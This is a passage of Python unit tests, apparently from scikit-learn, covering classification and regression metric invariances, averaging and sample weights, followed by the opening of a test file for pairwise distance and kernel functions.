        if name in METRIC_UNDEFINED_BINARY_MULTICLASS:
            continue

        measure_with_number = metric(y1, y2)

        # Ugly, but handle case with a pos_label and label
        metric_str = metric
        if name in METRICS_WITH_POS_LABEL:
            metric_str = partial(metric_str, pos_label=pos_label_str)

        measure_with_str = metric_str(y1_str, y2_str)

        assert_array_equal(measure_with_number, measure_with_str,
                           err_msg="{0} failed string vs number invariance "
                                   "test".format(name))

        measure_with_strobj = metric_str(y1_str.astype('O'),
                                         y2_str.astype('O'))
        assert_array_equal(measure_with_number, measure_with_strobj,
                           err_msg="{0} failed string object vs number "
                                   "invariance test".format(name))

        if name in METRICS_WITH_LABELS:
            metric_str = partial(metric_str, labels=labels_str)
            measure_with_str = metric_str(y1_str, y2_str)
            assert_array_equal(measure_with_number, measure_with_str,
                               err_msg="{0} failed string vs number  "
                                       "invariance test".format(name))

            measure_with_strobj = metric_str(y1_str.astype('O'),
                                             y2_str.astype('O'))
            assert_array_equal(measure_with_number, measure_with_strobj,
                               err_msg="{0} failed string vs number  "
                                       "invariance test".format(name))

    for name, metric in THRESHOLDED_METRICS.items():
        if name in ("log_loss", "hinge_loss", "unnormalized_log_loss",
                    "brier_score_loss"):
            # Ugly, but handle case with a pos_label and label
            metric_str = metric
            if name in METRICS_WITH_POS_LABEL:
                metric_str = partial(metric_str, pos_label=pos_label_str)

            measure_with_number = metric(y1, y2)
            measure_with_str = metric_str(y1_str, y2)
            assert_array_equal(measure_with_number, measure_with_str,
                               err_msg="{0} failed string vs number "
                                       "invariance test".format(name))

            measure_with_strobj = metric(y1_str.astype('O'), y2)
            assert_array_equal(measure_with_number, measure_with_strobj,
                               err_msg="{0} failed string object vs number "
                                       "invariance test".format(name))
        else:
            # TODO those metrics doesn't support string label yet
            assert_raises(ValueError, metric, y1_str, y2)
            assert_raises(ValueError, metric, y1_str.astype('O'), y2)


def test_inf_nan_input():
    invalids =[([0, 1], [np.inf, np.inf]),
               ([0, 1], [np.nan, np.nan]),
               ([0, 1], [np.nan, np.inf])]

    METRICS = dict()
    METRICS.update(THRESHOLDED_METRICS)
    METRICS.update(REGRESSION_METRICS)

    for metric in METRICS.values():
        for y_true, y_score in invalids:
            assert_raise_message(ValueError,
                                 "contains NaN, infinity",
                                 metric, y_true, y_score)

    # Classification metrics all raise a mixed input exception
    for metric in CLASSIFICATION_METRICS.values():
        for y_true, y_score in invalids:
            assert_raise_message(ValueError,
                                 "Can't handle mix of binary and continuous",
                                 metric, y_true, y_score)


@ignore_warnings
def check_single_sample(name):
    # Non-regression test: scores should work with a single sample.
    # This is important for leave-one-out cross validation.
    # Score functions tested are those that formerly called np.squeeze,
    # which turns an array of size 1 into a 0-d array (!).
    metric = ALL_METRICS[name]

    # assert that no exception is thrown
    for i, j in product([0, 1], repeat=2):
        metric([i], [j])


@ignore_warnings
def check_single_sample_multioutput(name):
    metric = ALL_METRICS[name]
    for i, j, k, l in product([0, 1], repeat=4):
        metric(np.array([[i, j]]), np.array([[k, l]]))


def test_single_sample():
    for name in ALL_METRICS:
        if (name in METRIC_UNDEFINED_BINARY_MULTICLASS or
                name in THRESHOLDED_METRICS):
            # Those metrics are not always defined with one sample
            # or in multiclass classification
            continue

        yield check_single_sample, name

    for name in MULTIOUTPUT_METRICS + MULTILABELS_METRICS:
        yield check_single_sample_multioutput, name


def test_multioutput_number_of_output_differ():
    y_true = np.array([[1, 0, 0, 1], [0, 1, 1, 1], [1, 1, 0, 1]])
    y_pred = np.array([[0, 0], [1, 0], [0, 0]])

    for name in MULTIOUTPUT_METRICS:
        metric = ALL_METRICS[name]
        assert_raises(ValueError, metric, y_true, y_pred)


def test_multioutput_regression_invariance_to_dimension_shuffling():
    # test invariance to dimension shuffling
    random_state = check_random_state(0)
    y_true = random_state.uniform(0, 2, size=(20, 5))
    y_pred = random_state.uniform(0, 2, size=(20, 5))

    for name in MULTIOUTPUT_METRICS:
        metric = ALL_METRICS[name]
        error = metric(y_true, y_pred)

        for _ in range(3):
            perm = random_state.permutation(y_true.shape[1])
            assert_almost_equal(metric(y_true[:, perm], y_pred[:, perm]),
                                error,
                                err_msg="%s is not dimension shuffling "
                                        "invariant" % name)


@ignore_warnings
def test_multilabel_representation_invariance():
    # Generate some data
    n_classes = 4
    n_samples = 50

    _, y1 = make_multilabel_classification(n_features=1, n_classes=n_classes,
                                           random_state=0, n_samples=n_samples,
                                           allow_unlabeled=True)
    _, y2 = make_multilabel_classification(n_features=1, n_classes=n_classes,
                                           random_state=1, n_samples=n_samples,
                                           allow_unlabeled=True)

    # To make sure at least one empty label is present
    y1 += [0]*n_classes
    y2 += [0]*n_classes

    y1_sparse_indicator = sp.coo_matrix(y1)
    y2_sparse_indicator = sp.coo_matrix(y2)

    for name in MULTILABELS_METRICS:
        metric = ALL_METRICS[name]

        # XXX cruel hack to work with partial functions
        if isinstance(metric, partial):
            metric.__module__ = 'tmp'
            metric.__name__ = name

        measure = metric(y1, y2)

        # Check representation invariance
        assert_almost_equal(metric(y1_sparse_indicator,
                                   y2_sparse_indicator),
                            measure,
                            err_msg="%s failed representation invariance  "
                                    "between dense and sparse indicator "
                                    "formats." % name)


def test_raise_value_error_multilabel_sequences():
    # make sure the multilabel-sequence format raises ValueError
    multilabel_sequences = [
        [[0, 1]],
        [[1], [2], [0, 1]],
        [(), (2), (0, 1)],
        [[]],
        [()],
        np.array([[], [1, 2]], dtype='object')]

    for name in MULTILABELS_METRICS:
        metric = ALL_METRICS[name]
        for seq in multilabel_sequences:
            assert_raises(ValueError, metric, seq, seq)


def test_normalize_option_binary_classification(n_samples=20):
    # Test in the binary case
    random_state = check_random_state(0)
    y_true = random_state.randint(0, 2, size=(n_samples, ))
    y_pred = random_state.randint(0, 2, size=(n_samples, ))

    for name in METRICS_WITH_NORMALIZE_OPTION:
        metrics = ALL_METRICS[name]
        measure = metrics(y_true, y_pred, normalize=True)
        assert_greater(measure, 0,
                       msg="We failed to test correctly the normalize option")
        assert_almost_equal(metrics(y_true, y_pred, normalize=False)
                            / n_samples, measure)


def test_normalize_option_multiclasss_classification():
    # Test in the multiclass case
    random_state = check_random_state(0)
    y_true = random_state.randint(0, 4, size=(20, ))
    y_pred = random_state.randint(0, 4, size=(20, ))
    n_samples = y_true.shape[0]

    for name in METRICS_WITH_NORMALIZE_OPTION:
        metrics = ALL_METRICS[name]
        measure = metrics(y_true, y_pred, normalize=True)
        assert_greater(measure, 0,
                       msg="We failed to test correctly the normalize option")
        assert_almost_equal(metrics(y_true, y_pred, normalize=False)
                            / n_samples, measure)


def test_normalize_option_multilabel_classification():
    # Test in the multilabel case
    n_classes = 4
    n_samples = 100

    # for both random_state 0 and 1, y_true and y_pred has at least one
    # unlabelled entry
    _, y_true = make_multilabel_classification(n_features=1,
                                               n_classes=n_classes,
                                               random_state=0,
                                               allow_unlabeled=True,
                                               n_samples=n_samples)
    _, y_pred = make_multilabel_classification(n_features=1,
                                               n_classes=n_classes,
                                               random_state=1,
                                               allow_unlabeled=True,
                                               n_samples=n_samples)

    # To make sure at least one empty label is present
    y_true += [0]*n_classes
    y_pred += [0]*n_classes

    for name in METRICS_WITH_NORMALIZE_OPTION:
        metrics = ALL_METRICS[name]
        measure = metrics(y_true, y_pred, normalize=True)
        assert_greater(measure, 0,
                       msg="We failed to test correctly the normalize option")
        assert_almost_equal(metrics(y_true, y_pred, normalize=False)
                            / n_samples, measure,
                            err_msg="Failed with %s" % name)


@ignore_warnings
def _check_averaging(metric, y_true, y_pred, y_true_binarize, y_pred_binarize,
                     is_multilabel):
    n_samples, n_classes = y_true_binarize.shape

    # No averaging
    label_measure = metric(y_true, y_pred, average=None)
    assert_array_almost_equal(label_measure,
                              [metric(y_true_binarize[:, i],
                                      y_pred_binarize[:, i])
                               for i in range(n_classes)])

    # Micro measure
    micro_measure = metric(y_true, y_pred, average="micro")
    assert_almost_equal(micro_measure, metric(y_true_binarize.ravel(),
                                              y_pred_binarize.ravel()))

    # Macro measure
    macro_measure = metric(y_true, y_pred, average="macro")
    assert_almost_equal(macro_measure, np.mean(label_measure))

    # Weighted measure
    weights = np.sum(y_true_binarize, axis=0, dtype=int)

    if np.sum(weights) != 0:
        weighted_measure = metric(y_true, y_pred, average="weighted")
        assert_almost_equal(weighted_measure, np.average(label_measure,
                                                         weights=weights))
    else:
        weighted_measure = metric(y_true, y_pred, average="weighted")
        assert_almost_equal(weighted_measure, 0)

    # Sample measure
    if is_multilabel:
        sample_measure = metric(y_true, y_pred, average="samples")
        assert_almost_equal(sample_measure,
                            np.mean([metric(y_true_binarize[i],
                                            y_pred_binarize[i])
                                     for i in range(n_samples)]))

    assert_raises(ValueError, metric, y_true, y_pred, average="unknown")
    assert_raises(ValueError, metric, y_true, y_pred, average="garbage")


def check_averaging(name, y_true, y_true_binarize, y_pred, y_pred_binarize,
                    y_score):
    is_multilabel = type_of_target(y_true).startswith("multilabel")

    metric = ALL_METRICS[name]

    if name in METRICS_WITH_AVERAGING:
        _check_averaging(metric, y_true, y_pred, y_true_binarize,
                         y_pred_binarize, is_multilabel)
    elif name in THRESHOLDED_METRICS_WITH_AVERAGING:
        _check_averaging(metric, y_true, y_score, y_true_binarize,
                         y_score, is_multilabel)
    else:
        raise ValueError("Metric is not recorded as having an average option")


def test_averaging_multiclass(n_samples=50, n_classes=3):
    random_state = check_random_state(0)
    y_true = random_state.randint(0, n_classes, size=(n_samples, ))
    y_pred = random_state.randint(0, n_classes, size=(n_samples, ))
    y_score = random_state.uniform(size=(n_samples, n_classes))

    lb = LabelBinarizer().fit(y_true)
    y_true_binarize = lb.transform(y_true)
    y_pred_binarize = lb.transform(y_pred)

    for name in METRICS_WITH_AVERAGING:
        yield (check_averaging, name, y_true, y_true_binarize, y_pred,
               y_pred_binarize, y_score)


def test_averaging_multilabel(n_classes=5, n_samples=40):
    _, y = make_multilabel_classification(n_features=1, n_classes=n_classes,
                                          random_state=5, n_samples=n_samples,
                                          allow_unlabeled=False)
    y_true = y[:20]
    y_pred = y[20:]
    y_score = check_random_state(0).normal(size=(20, n_classes))
    y_true_binarize = y_true
    y_pred_binarize = y_pred

    for name in METRICS_WITH_AVERAGING + THRESHOLDED_METRICS_WITH_AVERAGING:
        yield (check_averaging, name, y_true, y_true_binarize, y_pred,
               y_pred_binarize, y_score)


def test_averaging_multilabel_all_zeroes():
    y_true = np.zeros((20, 3))
    y_pred = np.zeros((20, 3))
    y_score = np.zeros((20, 3))
    y_true_binarize = y_true
    y_pred_binarize = y_pred

    for name in METRICS_WITH_AVERAGING:
        yield (check_averaging, name, y_true, y_true_binarize, y_pred,
               y_pred_binarize, y_score)

    # Test _average_binary_score for weight.sum() == 0
    binary_metric = (lambda y_true, y_score, average="macro":
                     _average_binary_score(
                         precision_score, y_true, y_score, average))
    _check_averaging(binary_metric, y_true, y_pred, y_true_binarize,
                     y_pred_binarize, is_multilabel=True)


def test_averaging_multilabel_all_ones():
    y_true = np.ones((20, 3))
    y_pred = np.ones((20, 3))
    y_score = np.ones((20, 3))
    y_true_binarize = y_true
    y_pred_binarize = y_pred

    for name in METRICS_WITH_AVERAGING:
        yield (check_averaging, name, y_true, y_true_binarize, y_pred,
               y_pred_binarize, y_score)


@ignore_warnings
def check_sample_weight_invariance(name, metric, y1, y2):
    rng = np.random.RandomState(0)
    sample_weight = rng.randint(1, 10, size=len(y1))

    # check that unit weights gives the same score as no weight
    unweighted_score = metric(y1, y2, sample_weight=None)
    assert_almost_equal(
        unweighted_score,
        metric(y1, y2, sample_weight=np.ones(shape=len(y1))),
        err_msg="For %s sample_weight=None is not equivalent to "
                "sample_weight=ones" % name)

    # check that the weighted and unweighted scores are unequal
    weighted_score = metric(y1, y2, sample_weight=sample_weight)
    assert_not_equal(
        unweighted_score, weighted_score,
        msg="Unweighted and weighted scores are unexpectedly "
            "equal (%f) for %s" % (weighted_score, name))

    # check that sample_weight can be a list
    weighted_score_list = metric(y1, y2,
                                 sample_weight=sample_weight.tolist())
    assert_almost_equal(
        weighted_score, weighted_score_list,
        err_msg=("Weighted scores for array and list "
                 "sample_weight input are not equal (%f != %f) for %s") % (
                     weighted_score, weighted_score_list, name))

    # check that integer weights is the same as repeated samples
    repeat_weighted_score = metric(
        np.repeat(y1, sample_weight, axis=0),
        np.repeat(y2, sample_weight, axis=0), sample_weight=None)
    assert_almost_equal(
        weighted_score, repeat_weighted_score,
        err_msg="Weighting %s is not equal to repeating samples" % name)

    # check that ignoring a fraction of the samples is equivalent to setting
    # the corresponding weights to zero
    sample_weight_subset = sample_weight[1::2]
    sample_weight_zeroed = np.copy(sample_weight)
    sample_weight_zeroed[::2] = 0
    y1_subset = y1[1::2]
    y2_subset = y2[1::2]
    weighted_score_subset = metric(y1_subset, y2_subset,
                                   sample_weight=sample_weight_subset)
    weighted_score_zeroed = metric(y1, y2,
                                   sample_weight=sample_weight_zeroed)
    assert_almost_equal(
        weighted_score_subset, weighted_score_zeroed,
        err_msg=("Zeroing weights does not give the same result as "
                 "removing the corresponding samples (%f != %f) for %s" %
                 (weighted_score_zeroed, weighted_score_subset, name)))

    if not name.startswith('unnormalized'):
        # check that the score is invariant under scaling of the weights by a
        # common factor
        for scaling in [2, 0.3]:
            assert_almost_equal(
                weighted_score,
                metric(y1, y2, sample_weight=sample_weight * scaling),
                err_msg="%s sample_weight is not invariant "
                        "under scaling" % name)

    # Check that if sample_weight.shape[0] != y_true.shape[0], it raised an
    # error
    assert_raises(Exception, metric, y1, y2,
                  sample_weight=np.hstack([sample_weight, sample_weight]))


def test_sample_weight_invariance(n_samples=50):
    random_state = check_random_state(0)

    # binary
    random_state = check_random_state(0)
    y_true = random_state.randint(0, 2, size=(n_samples, ))
    y_pred = random_state.randint(0, 2, size=(n_samples, ))
    y_score = random_state.random_sample(size=(n_samples,))
    for name in ALL_METRICS:
        if (name in METRICS_WITHOUT_SAMPLE_WEIGHT or
                name in METRIC_UNDEFINED_BINARY):
            continue
        metric = ALL_METRICS[name]
        if name in THRESHOLDED_METRICS:
            yield check_sample_weight_invariance, name, metric, y_true, y_score
        else:
            yield check_sample_weight_invariance, name, metric, y_true, y_pred

    # multiclass
    random_state = check_random_state(0)
    y_true = random_state.randint(0, 5, size=(n_samples, ))
    y_pred = random_state.randint(0, 5, size=(n_samples, ))
    y_score = random_state.random_sample(size=(n_samples, 5))
    for name in ALL_METRICS:
        if (name in METRICS_WITHOUT_SAMPLE_WEIGHT or
                name in METRIC_UNDEFINED_BINARY_MULTICLASS):
            continue
        metric = ALL_METRICS[name]
        if name in THRESHOLDED_METRICS:
            yield check_sample_weight_invariance, name, metric, y_true, y_score
        else:
            yield check_sample_weight_invariance, name, metric, y_true, y_pred

    # multilabel indicator
    _, ya = make_multilabel_classification(n_features=1, n_classes=20,
                                           random_state=0, n_samples=100,
                                           allow_unlabeled=False)
    _, yb = make_multilabel_classification(n_features=1, n_classes=20,
                                           random_state=1, n_samples=100,
                                           allow_unlabeled=False)
    y_true = np.vstack([ya, yb])
    y_pred = np.vstack([ya, ya])
    y_score = random_state.randint(1, 4, size=y_true.shape)

    for name in (MULTILABELS_METRICS + THRESHOLDED_MULTILABEL_METRICS +
                 MULTIOUTPUT_METRICS):
        if name in METRICS_WITHOUT_SAMPLE_WEIGHT:
            continue

        metric = ALL_METRICS[name]
        if name in THRESHOLDED_METRICS:
            yield (check_sample_weight_invariance, name, metric, y_true,
                   y_score)
        else:
            yield (check_sample_weight_invariance, name, metric, y_true,
                   y_pred)


def test_no_averaging_labels():
    # test labels argument when not using averaging
    # in multi-class and multi-label cases
    y_true_multilabel = np.array([[1, 1, 0, 0], [1, 1, 0, 0]])
    y_pred_multilabel = np.array([[0, 0, 1, 1], [0, 1, 1, 0]])
    y_true_multiclass = np.array([0, 1, 2])
    y_pred_multiclass = np.array([0, 2, 3])
    labels = np.array([3, 0, 1, 2])
    _, inverse_labels = np.unique(labels, return_inverse=True)

    for name in METRICS_WITH_AVERAGING:
        for y_true, y_pred in [[y_true_multiclass, y_pred_multiclass],
                               [y_true_multilabel, y_pred_multilabel]]:
            if name not in MULTILABELS_METRICS and y_pred.shape[1] > 0:
                continue

            metric = ALL_METRICS[name]

            score_labels = metric(y_true, y_pred, labels=labels, average=None)
            score = metric(y_true, y_pred, average=None)
            assert_array_equal(score_labels, score[inverse_labels])






import numpy as np
from numpy import linalg

from scipy.sparse import dok_matrix, csr_matrix, issparse
from scipy.spatial.distance import cosine, cityblock, minkowski, wminkowski

from sklearn.utils.testing import assert_greater
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_raises_regexp
from sklearn.utils.testing import assert_true
from sklearn.utils.testing import ignore_warnings

from sklearn.externals.six import iteritems

from sklearn.metrics.pairwise import euclidean_distances
from sklearn.metrics.pairwise import manhattan_distances
from sklearn.metrics.pairwise import linear_kernel
from sklearn.metrics.pairwise import chi2_kernel, additive_chi2_kernel
from sklearn.metrics.pairwise import polynomial_kernel
from sklearn.metrics.pairwise import rbf_kernel
from sklearn.metrics.pairwise import laplacian_kernel
from sklearn.metrics.pairwise import sigmoid_kernel
from sklearn.metrics.pairwise import cosine_similarity
from sklearn.metrics.pairwise import cosine_distances
from sklearn.metrics.pairwise import pairwise_distances
from sklearn.metrics.pairwise import pairwise_distances_argmin_min
from sklearn.metrics.pairwise import pairwise_distances_argmin
from sklearn.metrics.pairwise import pairwise_kernels
from sklearn.metrics.pairwise import PAIRWISE_KERNEL_FUNCTIONS
from sklearn.metrics.pairwise import PAIRWISE_DISTANCE_FUNCTIONS
from sklearn.metrics.pairwise import PAIRWISE_BOOLEAN_FUNCTIONS
from sklearn.metrics.pairwise import PAIRED_DISTANCES
from sklearn.metrics.pairwise import check_pairwise_arrays
from sklearn.metrics.pairwise import check_paired_arrays
from sklearn.metrics.pairwise import paired_distances
from sklearn.metrics.pairwise import paired_euclidean_distances
from sklearn.metrics.pairwise import paired_manhattan_distances
from sklearn.preprocessing import normalize
from sklearn.exceptions import DataConversionWarning


def test_pairwise_distances():
    # Test the pairwise_distance helper function.
    rng = np.random.RandomState(0)
    # Euclidean distance should be equivalent to calling the function.
    X = rng.random_sample((5, 4))
    S = pairwise_distances(X, metric="euclidean")
    S2 = euclidean_distances(X)
    assert_array_almost_equal(S, S2)
    # Euclidean distance, with Y != X.
    Y = rng.random_sample((2, 4))
    S = pairwise_distances(X, Y, metric="euclidean")
    S2 = euclidean_distances(X, Y)
    assert_array_almost_equal(S, S2)
    # Test with tuples as X and Y
    X_tuples = tuple([tuple([v for v in row]) for row in X])
    Y_tuples = tuple([tuple([v for v in row]) for row in Y])
    S2 = pairwise_distances(X_tuples, Y_tuples, metric="euclidean")
    assert_array_almost_equal(S, S2)
    # "cityblock" uses sklearn metric, cityblock (function) is scipy.spatial.
    S = pairwise_distances(X, metric="cityblock")
    S2 = pairwise_distances(X, metric=cityblock)
    assert_equal(S.shape[0], S.shape[1])
    assert_equal(S.shape[0], X.shape[0])
    assert_array_almost_equal(S, S2)
    # The manhattan metric should be equivalent to cityblock.
    S = pairwise_distances(X, Y, metric="manhattan")
    S2 = pairwise_distances(X, Y, metric=cityblock)
    assert_equal(S.shape[0], X.shape[0])
    assert_equal(S.shape[1], Y.shape[0])
    assert_array_almost_equal(S, S2)
    # Low-level function for manhattan can divide in blocks to avoid
    # using too much memory during the broadcasting
    S3 = manhattan_distances(X, Y, size_threshold=10)
    assert_array_almost_equal(S, S3)
    # Test cosine as a string metric versus cosine callable
    # "cosine" uses sklearn metric, cosine (function) is scipy.spatial
    S = pairwise_distances(X, Y, metric="cosine")
    S2 = pairwise_distances(X, Y, metric=cosine)
    assert_equal(S.shape[0], X.shape[0])
    assert_equal(S.shape[1], Y.shape[0])
    assert_array_almost_equal(S, S2)
    # Test with sparse X and Y,
    # currently only supported for Euclidean, L1 and cosine.
    X_sparse = csr_matrix(X)
    Y_sparse = csr_matrix(Y)
    S = pairwise_distances(X_sparse, Y_sparse, metric="euclidean")
    S2 = euclidean_distances(X_sparse, Y_sparse)
    assert_array_almost_equal(S, S2)
    S = pairwise_distances(X_sparse, Y_sparse, metric="cosine")
    S2 = cosine_distances(X_sparse, Y_sparse)
    assert_array_almost_equal(S, S2)
    S = pairwise_distances(X_sparse, Y_sparse.tocsc(), metric="manhattan")
    S2 = manhattan_distances(X_sparse.tobsr(), Y_sparse.tocoo())
    assert_array_almost_equal(S, S2)
    S2 = manhattan_distances(X, Y)
    assert_array_almost_equal(S, S2)
    # Test with scipy.spatial.distance metric, with a kwd
    kwds = {"p": 2.0}
    S = pairwise_distances(X, Y, metric="minkowski", **kwds)
    S2 = pairwise_distances(X, Y, metric=minkowski, **kwds)
    assert_array_almost_equal(S, S2)
    # same with Y = None
    kwds = {"p": 2.0}
    S = pairwise_distances(X, metric="minkowski", **kwds)
    S2 = pairwise_distances(X, metric=minkowski, **kwds)
    assert_array_almost_equal(S, S2)
    # Test that scipy distance metrics throw an error if sparse matrix given
    assert_raises(TypeError, pairwise_distances, X_sparse, metric="minkowski")
    assert_raises(TypeError, pairwise_distances, X, Y_sparse,
                  metric="minkowski")

    # Test that a value error is raised if the metric is unknown
    assert_raises(ValueError, pairwise_distances, X, Y, metric="blah")


# ignore conversion to boolean in pairwise_distances
@ignore_warnings(category=DataConversionWarning)
def test_pairwise_boolean_distance():
    # test that we convert to boolean arrays for boolean distances
    rng = np.random.RandomState(0)
    X = rng.randn(5, 4)
    Y = X.copy()
    Y[0, 0] = 1 - Y[0, 0]

    for metric in PAIRWISE_BOOLEAN_FUNCTIONS:
        for Z in [Y, None]:
            res = pairwise_distances(X, Z, metric=metric)
            res[np.isnan(res)] = 0
            assert_true(np.sum(res != 0) == 0)


def test_pairwise_precomputed():
    for func in [pairwise_distances, pairwise_kernels]:
        # Test correct shape
        assert_raises_regexp(ValueError, '.* shape .*',
                             func, np.zeros((5, 3)), metric='precomputed')
        # with two args
        assert_raises_regexp(ValueError, '.* shape .*',
                             func, np.zeros((5, 3)), np.zeros((4, 4)),
                             metric='precomputed')
        # even if shape[1] agrees (although thus second arg is spurious)
        assert_raises_regexp(ValueError, '.* shape .*',
                             func, np.zeros((5, 3)), np.zeros((4, 3)),
                             metric='precomputed')

        # Test not copied (if appropriate dtype)
        S = np.zeros((5, 5))
        S2 = func(S, metric="precomputed")
        assert_true(S is S2)
        # with two args
        S = np.zeros((5, 3))
        S2 = func(S, np.zeros((3, 3)), metric="precomputed")
        assert_true(S is S2)

        # Test always returns float dtype
        S = func(np.array([[1]], dtype='int'), metric='precomputed')
        assert_equal('f', S.dtype.kind)

        # Test converts list to array-like
        S = func([[1.]], metric='precomputed')
        assert_true(isinstance(S, np.ndarray))


def check_pairwise_parallel(func, metric, kwds):
    rng = np.random.RandomState(0)
    for make_data in (np.array, csr_matrix):
        X = make_data(rng.random_sample((5, 4)))
        Y = make_data(rng.random_sample((3, 4)))

        try:
            S = func(X, metric=metric, n_jobs=1, **kwds)
        except (TypeError, ValueError) as exc:
            # Not all metrics support sparse input
            # ValueError may be triggered by bad callable
            if make_data is csr_matrix:
                assert_raises(type(exc), func, X, metric=metric,
                              n_jobs=2, **kwds)
                continue
            else:
                raise
        S2 = func(X, metric=metric, n_jobs=2, **kwds)
        assert_array_almost_equal(S, S2)

        S = func(X, Y, metric=metric, n_jobs=1, **kwds)
        S2 = func(X, Y, metric=metric, n_jobs=2, **kwds)
        assert_array_almost_equal(S, S2)


def test_pairwise_parallel():
    wminkowski_kwds = {'w': np.arange(1, 5).astype('double'), 'p': 1}
    metrics = [(pairwise_distances, 'euclidean', {}),
               (pairwise_distances, wminkowski, wminkowski_kwds),
               (pairwise_distances, 'wminkowski', wminkowski_kwds),
               (pairwise_kernels, 'polynomial', {'degree': 1}),
               (pairwise_kernels, callable_rbf_kernel, {'gamma': .1}),
               ]
    for func, metric, kwds in metrics:
        yield check_pairwise_parallel, func, metric, kwds


def test_pairwise_callable_nonstrict_metric():
    # paired_distances should allow callable metric where metric(x, x) != 0
    # Knowing that the callable is a strict metric would allow the diagonal to
    # be left uncalculated and set to 0.
    assert_equal(pairwise_distances([[1.]], metric=lambda x, y: 5)[0, 0], 5)


def callable_rbf_kernel(x, y, **kwds):
    # Callable version of pairwise.rbf_kernel.
    K = rbf_kernel(np.atleast_2d(x), np.atleast_2d(y), **kwds)
    return K


def test_pairwise_kernels():    # Test the pairwise_kernels helper function.

    rng = np.random.RandomState(0)
    X = rng.random_sample((5, 4))
    Y = rng.random_sample((2, 4))
    # Test with all metrics that should be in PAIRWISE_KERNEL_FUNCTIONS.
    test_metrics = ["rbf", "laplacian", "sigmoid", "polynomial", "linear",
                    "chi2", "additive_chi2"]
    for metric in test_metrics:
        function = PAIRWISE_KERNEL_FUNCTIONS[metric]
        # Test with Y=None
        K1 = pairwise_kernels(X, metric=metric)
        K2 = function(X)
        assert_array_almost_equal(K1, K2)
        # Test with Y=Y
        K1 = pairwise_kernels(X, Y=Y, metric=metric)
        K2 = function(X, Y=Y)
        assert_array_almost_equal(K1, K2)
        # Test with tuples as X and Y
        X_tuples = tuple([tuple([v for v in row]) for row in X])
        Y_tuples = tuple([tuple([v for v in row]) for row in Y])
        K2 = pairwise_kernels(X_tuples, Y_tuples, metric=metric)
        assert_array_almost_equal(K1, K2)

        # Test with sparse X and Y
        X_sparse = csr_matrix(X)
        Y_sparse = csr_matrix(Y)
        if metric in ["chi2", "additive_chi2"]:
            # these don't support sparse matrices yet
            assert_raises(ValueError, pairwise_kernels,
                          X_sparse, Y=Y_sparse, metric=metric)
            continue
        K1 = pairwise_kernels(X_sparse, Y=Y_sparse, metric=metric)
        assert_array_almost_equal(K1, K2)
    # Test with a callable function, with given keywords.
    metric = callable_rbf_kernel
    kwds = {'gamma': 0.1}
    K1 = pairwise_kernels(X, Y=Y, metric=metric, **kwds)
    K2 = rbf_kernel(X, Y=Y, **kwds)
    assert_array_almost_equal(K1, K2)

    # callable function, X=Y
    K1 = pairwise_kernels(X, Y=X, metric=metric, **kwds)
    K2 = rbf_kernel(X, Y=X, **kwds)
    assert_array_almost_equal(K1, K2)


def test_pairwise_kernels_filter_param():
    rng = np.random.RandomState(0)
    X = rng.random_sample((5, 4))
    Y = rng.random_sample((2, 4))
    K = rbf_kernel(X, Y, gamma=0.1)
    params = {"gamma": 0.1, "blabla": ":)"}
    K2 = pairwise_kernels(X, Y, metric="rbf", filter_params=True, **params)
    assert_array_almost_equal(K, K2)

    assert_raises(TypeError, pairwise_kernels, X, Y, "rbf", **params)


def test_paired_distances():
    # Test the pairwise_distance helper function.
    rng = np.random.RandomState(0)
    # Euclidean distance should be equivalent to calling the function.
    X = rng.random_sample((5, 4))
    # Euclidean distance, with Y != X.
    Y = rng.random_sample((5, 4))
    for metric, func in iteritems(PAIRED_DISTANCES):
        S = paired_distances(X, Y, metric=metric)
        S2 = func(X, Y)
        assert_array_almost_equal(S, S2)
        S3 = func(csr_matrix(X), csr_matrix(Y))
        assert_array_almost_equal(S, S3)
        if metric in PAIRWISE_DISTANCE_FUNCTIONS:
            # Check the pairwise_distances implementation
            # gives the same value
            distances = PAIRWISE_DISTANCE_FUNCTIONS[metric](X, Y)
            distances = np.diag(distances)
            assert_array_almost_equal(distances, S)

    # Check the callable implementation
    S = paired_distances(X, Y, metric='manhattan')
    S2 = paired_distances(X, Y, metric=lambda x, y: np.abs(x - y).sum(axis=0))
    assert_array_almost_equal(S, S2)

    # Test that a value error is raised when the lengths of X and Y should not
    # differ
    Y = rng.random_sample((3, 4))
    assert_raises(ValueError, paired_distances, X, Y)


def test_pairwise_distances_argmin_min():
    # Check pairwise minimum distances computation for any metric
    X = [[0], [1]]
    Y = [[-1], [2]]

    Xsp = dok_matrix(X)
    Ysp = csr_matrix(Y, dtype=np.float32)

    # euclidean metric
    D, E = pairwise_distances_argmin_min(X, Y, metric="euclidean")
    D2 = pairwise_distances_argmin(X, Y, metric="euclidean")
    assert_array_almost_equal(D, [0, 1])
    assert_array_almost_equal(D2, [0, 1])
    assert_array_almost_equal(D, [0, 1])
    assert_array_almost_equal(E, [1., 1.])

    # sparse matrix case
    Dsp, Esp = pairwise_distances_argmin_min(Xsp, Ysp, metric="euclidean")
    assert_array_equal(Dsp, D)
    assert_array_equal(Esp, E)
    # We don't want np.matrix here
    assert_equal(type(Dsp), np.ndarray)
    assert_equal(type(Esp), np.ndarray)

    # Non-euclidean sklearn metric
    D, E = pairwise_distances_argmin_min(X, Y, metric="manhattan")
    D2 = pairwise_distances_argmin(X, Y, metric="manhattan")
    assert_array_almost_equal(D, [0, 1])
    assert_array_almost_equal(D2, [0, 1])
    assert_array_almost_equal(E, [1., 1.])
    D, E = pairwise_distances_argmin_min(Xsp, Ysp, metric="manhattan")
    D2 = pairwise_distances_argmin(Xsp, Ysp, metric="manhattan")
    assert_array_almost_equal(D, [0, 1])
    assert_array_almost_equal(E, [1., 1.])

    # Non-euclidean Scipy distance (callable)
    D, E = pairwise_distances_argmin_min(X, Y, metric=minkowski,
                                         metric_kwargs={"p": 2})
    assert_array_almost_equal(D, [0, 1])
    assert_array_almost_equal(E, [1., 1.])

    # Non-euclidean Scipy distance (string)
    D, E = pairwise_distances_argmin_min(X, Y, metric="minkowski",
                                         metric_kwargs={"p": 2})
    assert_array_almost_equal(D, [0, 1])
    assert_array_almost_equal(E, [1., 1.])

    # Compare with naive implementation
    rng = np.random.RandomState(0)
    X = rng.randn(97, 149)
    Y = rng.randn(111, 149)

    dist = pairwise_distances(X, Y, metric="manhattan")
    dist_orig_ind = dist.argmin(axis=0)
    dist_orig_val = dist[dist_orig_ind, range(len(dist_orig_ind))]

